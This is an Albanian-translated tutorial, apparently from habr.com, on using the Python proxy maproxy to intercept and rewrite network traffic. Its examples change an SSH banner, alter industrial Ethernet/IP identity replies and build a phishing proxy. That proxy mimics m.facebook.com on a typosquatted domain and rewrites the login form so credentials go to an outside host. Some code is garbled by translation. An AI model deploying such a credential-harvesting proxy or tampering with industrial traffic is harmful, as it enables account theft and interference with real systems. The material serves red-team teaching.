Përpunoni të dhënat e rrjetit në fluturim

Përkthimi i artikullit u përgatit në prag të fillimit të kursit “Pentest. Praktikë e testimit të penetrimit".

Përpunoni të dhënat e rrjetit në fluturim

abstrakt

Një shumëllojshmëri e llojeve të vlerësimeve të sigurisë, duke filluar nga testimi i rregullt i penetrimit dhe operacionet e Red Team deri te hakimi i pajisjeve IoT/ICS dhe SCADA, përfshijnë punën me protokollet e rrjetit binar, domethënë, në thelb përgjimin dhe modifikimin e të dhënave të rrjetit midis klientit dhe objektivit. Njohja e trafikut të rrjetit nuk është një detyrë e vështirë pasi ne kemi mjete si Wireshark, Tcpdump ose Scapy, por modifikimi duket të jetë një detyrë më intensive pasi do të na duhet të kemi një lloj ndërfaqeje për të lexuar të dhënat e rrjetit, për t'i filtruar, për të ndryshuar atë në fluturim dhe dërgojeni përsëri te pritësi i synuar në pothuajse kohë reale. Për më tepër, do të ishte ideale nëse një mjet i tillë mund të funksionojë automatikisht me lidhje të shumta paralele dhe të jetë i personalizueshëm duke përdorur skriptet.

Një ditë zbulova një mjet të quajtur maproxy, dokumentacioni më bëri të qartë se shpejt maproxy - vetëm ajo që më duhet. Ky është një proxy TCP mjaft i thjeshtë, i gjithanshëm dhe lehtësisht i konfigurueshëm. E testova këtë mjet në disa aplikacione mjaft komplekse, duke përfshirë pajisjet ICS (të cilat gjenerojnë shumë paketa) për të parë nëse mund të trajtonte shumë lidhje paralele dhe mjeti funksionoi mirë.

Ky artikull do t'ju prezantojë me përpunimin e të dhënave të rrjetit në fluturim duke përdorur maproxy.

Rishikimi

Mjet maproxy bazohet në Tornado, një kornizë e njohur dhe e pjekur e rrjeteve asinkrone në Python.

Në përgjithësi, mund të funksionojë në disa mënyra:

  • TCP:TCP – lidhje të pakriptuara TCP;
  • TCP:SSL и SSL:TCP – me enkriptim në një drejtim;
  • SSL:SSL – enkriptim me dy drejtime.

Ajo vjen si bibliotekë. Për një fillim të shpejtë, mund të përdorni skedarë shembull që pasqyrojnë kryesoren funksionet e bibliotekës:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Rasti 1 – përfaqësues i thjeshtë me dy drejtime

Bazuar në tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

By default ProxyServer() merr dy argumente - vendndodhjen e lidhjes dhe portin e synuar. server.listen() merr një argument - portën për të dëgjuar lidhjen hyrëse.

Ekzekutimi i skenarit:

# python tcp2tcp.py

Për të kryer testin, ne do të lidhemi me një server lokal SSH përmes skriptit tonë proxy, i cili dëgjon 2222/tcp port dhe lidhet me një port standard 22/tcp Serverët SSH:

Përpunoni të dhënat e rrjetit në fluturim

Flamuri i mirëseardhjes ju informon se skripti ynë i shembullit ka përfaqësuar me sukses trafikun e rrjetit.

Rasti 2 – modifikimi i të dhënave

Një tjetër skenar demo logging_proxy.py ideale për ndërveprim me të dhënat e rrjetit. Komentet në skedar përshkruajnë metodat e klasës që mund të modifikoni për të arritur qëllimin tuaj:

Përpunoni të dhënat e rrjetit në fluturim

Gjëja më interesante është këtu:

  • on_c2p_done_read – për të përgjuar të dhëna gjatë rrugës nga klienti në server;
  • on_p2s_done_read - përmbyset.

Le të provojmë të ndryshojmë banerin SSH që serveri ia kthen klientit:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Ekzekutoni skenarin:

Përpunoni të dhënat e rrjetit në fluturim

Siç mund ta shihni, klienti u mashtrua sepse emri i serverit SSH për të u ndryshua në «DumnySSH».

Përpunoni të dhënat e rrjetit në fluturim

Rasti 3 – faqe interneti e thjeshtë për phishing

Ka mënyra të pafundme për të përdorur këtë mjet. Këtë herë le të përqendrohemi në diçka më praktike nga ana e operacioneve të Ekipit të Kuq. Le të imitojmë faqen e uljes m.facebook.com dhe përdorni një domen të personalizuar me një gabim shtypi të qëllimshëm, për shembull, m.facebok.com. Për qëllime demonstrimi, le të supozojmë se domeni është regjistruar nga ne.

Ne do të krijojmë një lidhje rrjeti të pakriptuar me përfaqësuesin tonë të viktimave dhe SSL Stream në serverin e Facebook (31.13.81.36). Për ta bërë këtë shembull të funksionojë, duhet të zëvendësojmë kokën e hostit HTTP dhe të injektojmë emrin e saktë të hostit, dhe gjithashtu do të çaktivizojmë kompresimin e përgjigjes në mënyrë që të mund të qasemi lehtësisht në përmbajtje. Në fund të fundit, ne do të zëvendësojmë formularin HTML në mënyrë që të na dërgohen kredencialet e hyrjes në vend të serverëve të Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sq/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Në përmbledhje:

Përpunoni të dhënat e rrjetit në fluturim

Siç mund ta shihni, ne ishim në gjendje të zëvendësonim me sukses faqen origjinale.

Rasti 4 – Transferimi i Ethernet/IP

Prej shumë kohësh jam marrë me pajisje dhe softuer industrialë (ICS/SCADA), si kontrollues të programueshëm (PLC), module I/O, disqe, reletë, mjedise programimi shkallësh e shumë të tjera. Ky rast është për ata që pëlqejnë gjërat industriale. Hakerimi i zgjidhjeve të tilla përfshin lojën aktive me protokollet e rrjetit. Në shembullin e mëposhtëm, do të doja të tregoja se si mund të modifikoni trafikun e rrjetit ICS/SCADA.

Për këtë do t'ju duhet sa vijon:

  • Rrjeti nuhatës, për shembull, Wireshark;
  • Ethernet/IP ose thjesht një pajisje SIP, mund ta gjeni duke përdorur shërbimin Shodan;
  • Skenari ynë bazohet në maproxy.

Së pari, le të shohim se si duket një përgjigje tipike identifikimi nga CIP (Protokolli i Përbashkët Industrial):

Përpunoni të dhënat e rrjetit në fluturim

Identifikimi i pajisjes realizohet duke përdorur protokollin Ethernet/IP, i cili është një version i përmirësuar i protokollit industrial Ethernet që mbështjell protokollet e kontrollit si CIP. Ne do të ndryshojmë emrin e theksuar të ID-së, i cili është i dukshëm në pamjen e ekranit "NI-IndComm për Ethernet" duke përdorur skriptin tonë proxy. Mund ta ripërdornim skenarin logging_proxy.py dhe në mënyrë të ngjashme modifikoni metodën e klasës on_p2s_done_read, sepse ne duam që një emër tjetër identiteti të jetë i dukshëm tek klienti.

Kodi:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Në thelb, ne kërkuam dy herë identifikimin e pajisjes, përgjigja e dytë ishte ajo origjinale dhe e para u modifikua menjëherë.

Dhe së fundi

Per mendimin tim maproxy Një mjet i përshtatshëm dhe i thjeshtë, i cili është shkruar edhe në Python, ndaj besoj se edhe ju mund të përfitoni nga përdorimi i tij. Sigurisht, ka mjete më komplekse për përpunimin dhe modifikimin e të dhënave të rrjetit, por ato gjithashtu kërkojnë më shumë vëmendje dhe zakonisht krijohen për një rast të veçantë përdorimi, p.sh. Muraena, Modlishka ose evilginx për raste të ngjashme me të tretën, ose kanape për rastin e fundit. Në një mënyrë apo tjetër, me ndihmën maproxy ju mund të zbatoni shpejt idetë tuaja për përgjimin e të dhënave të rrjetit, pasi skriptet e shembullit janë shumë të qarta.

Testimi i mekanizmave të vërtetimit në Windows AD

Burimi: www.habr.com

Shto një koment